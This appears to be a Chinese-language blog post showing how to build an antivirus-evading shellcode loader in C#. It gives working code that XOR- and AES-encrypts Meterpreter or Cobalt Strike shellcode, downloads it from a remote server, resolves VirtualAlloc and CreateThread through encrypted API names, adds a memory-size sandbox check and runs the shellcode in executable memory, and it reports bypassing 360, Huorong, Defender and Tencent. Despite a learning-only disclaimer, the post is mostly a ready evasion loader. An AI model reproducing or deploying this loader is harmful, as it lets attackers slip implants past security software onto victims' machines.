使用的软件:
- VisualStudio
使用的编程语言
- C#
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用
任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
纯萌新,尝试一下免杀,最近也是查了很多资料,面向Github编程借鉴了很多大佬的代码。通过XOR异或加密后再进行AES加密,然后通过修改shellcode加载方式进行简单的免杀。
ShellCode | 360杀毒 | 火绒 | Defender | 腾讯电脑管家 | VT |
Meterpreter | √ | √ | √ | √ | 13 / 69 |
Cobalt Strike | √ | √ | √ | √ | 13 / 69 |
推荐Meterpreter生成shellcode,Cobalt Strike在尝试远程加载的shellcode时可能被360拦截
可自行加壳或修改尝试
github:https://github.com/Mangofang/BypassLoad
本文章仅提供思路,如果有更好的方法,欢迎讨论
1.ShellCode进行XOR异或加密
异或是对两个运算元的一种逻辑分析类型,符号为XOR或EOR。与一般的逻辑或OR不同,当两两数值相同为否,而数值不同时为真。
在C#中可以使用"^"符号表示。此处需要特别注意他和一般的逻辑或区别
举个例子:
// returns True 当两个值不同时返回true
Console.WriteLine(true ^ false);
// 同上
Console.WriteLine(false ^ false);
// return False 当两个值相同时返回false
Console.WriteLine(true ^ true);
文字在异或的过程中实际会被转化为ASCII然后再转为二进制进行对比,例如:
Console.WriteLine('q' ^ 'w');//结果为"6"
//此处"q"的ASCII为113,w的ASCII为119
//即可转化为113 ^ 119 再转化为二进制 01110001 ^ 01110111
//结果为00000110 即十进制6
string类型需要处理时可以先将它ToArray转为char类型的数组。
如果把key一位一位和data对比,key的长度就必须等于data,显然不实用。此处可以使用i去取余key的长度,取余算法的值永远不会大于key长度
private static char[] xor(string str)
{
char[] data = str.ToArray();
char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
for (int i = 0; i < data.Length; i++)
{
data[i] ^= key[i % key.Length];
}
return data;
}
1.ShellCode进行AesEncypt加密
AES可以使用RijndaelManaged类进行加密
private static string AesEncrypt(string str, string key)
{
if (string.IsNullOrEmpty(str)) return null;
Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
RijndaelManaged rm = new RijndaelManaged
{
Key = Encoding.UTF8.GetBytes(key),
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
};
ICryptoTransform cTransform = rm.CreateEncryptor();
Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Convert.ToBase64String(resultArray);
}
此处使用128位秘钥 AES-ECB模式PKCS7填充模式加密
为了方便我们可以使用Aes.Create来随机一串128位的秘钥
using (Aes aes = Aes.Create())
{
aes.KeySize = 128;
aes.GenerateKey();
Console.WriteLine(Convert.ToBase64String(aes.Key));
}
3.远程加载并解密
把生成的shellcode上传到服务器上,然后get到它获取数据
string webpath = File.ReadAllText(webpath, Encoding.UTF8);//webpath为shellcode的链接
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(new Uri(webpath));
req.Method = "GET";
req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
HttpWebResponse res = (HttpWebResponse)req.GetResponse();
Stream stms = res.GetResponseStream();
StreamReader reader = new StreamReader(stms, Encoding.UTF8);
string result = reader.ReadToEnd();
reader.Close();
req.Abort();
AES解密,还是一样可以使用RijndaelManaged类:
private static string AesDecrypt(string str, string key)
{
if (string.IsNullOrEmpty(str)) return null;
Byte[] toEncryptArray = Convert.FromBase64String(str);
RijndaelManaged rm = new RijndaelManaged
{
Key = Encoding.UTF8.GetBytes(key),
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
};
ICryptoTransform cTransform = rm.CreateDecryptor();
Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Encoding.UTF8.GetString(resultArray);
}
XOR解密:
private static char[] Xor_Decrypt(char[] data)
{
char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
for (int i = 0; i < data.Length; i++)
{
data[i] ^= key[i % key.Length];
}
return data;
}
4.加载shellcode
shellcode在免杀中固然重要,但是更重要的是shellcode的加载方式,杀软除了可以查杀shellcode,也可以通过加载方式的特征进行查杀,比如敏感函数查杀等。此处结合大佬们提供的加载方式,使用动态调用dll方式进行加载。
internal static class Unsafe
{
[DllImport("Kernel32")]
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname);
[DllImport("Kernel32")]
internal static extern IntPtr LoadLibrary(string moduleName);
internal delegate UInt32 Virtual_Alloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
}
internal delegate UInt32 Virtual_Alloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
internal delegate IntPtr Create_Thread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId);
internal delegate UInt32 Wait_ForSingle_Object(
IntPtr hHandle,
UInt32 dwMilliseconds
);
static void Main(string[] args)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3;
PerformanceCounter ramCounter = new PerformanceCounter("Memory", "Available MBytes");
if (ramCounter.NextValue() >= 4096)
{
byte[] shellcode = GetShellCode();
string key = "BsijVUv2v+Ql/NM3pQv8uQ==";
string k = "AyD9Y9zW9dtvfqJzJb33gA==";
string v = "YlnmzpP5550nqLxW+3wdNQ==";
string c = "AkJecKOgemBiLxROAtA9WA==";
string w = "cH9ouyrpylq2wwZqDlf5Uod4zw5Vx+OrGTO0iMg4ah8=";
IntPtr trva = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(v, key));
Virtual_Alloc va = (Virtual_Alloc)Marshal.GetDelegateForFunctionPointer(trva, typeof(Virtual_Alloc));
IntPtr trct = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(c, key));
IntPtr trwf = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(w, key));
Create_Thread ct = (Create_Thread)Marshal.GetDelegateForFunctionPointer(trct, typeof(Create_Thread));
Wait_ForSingle_Object wfoi = (Wait_ForSingle_Object)Marshal.GetDelegateForFunctionPointer(trwf, typeof(Wait_ForSingle_Object));
UInt32 mem = va(0, (UInt32)shellcode.Length, 0x1000, 0x40);
Marshal.Copy(shellcode, 0, (IntPtr)(mem), shellcode.Length);
UInt32 threadId = 0;
IntPtr hThread = ct(0, 0, mem, IntPtr.Zero, 0, ref threadId);
wfoi(hThread, 0xFFFFFFFF);
}
}
Comments NOTHING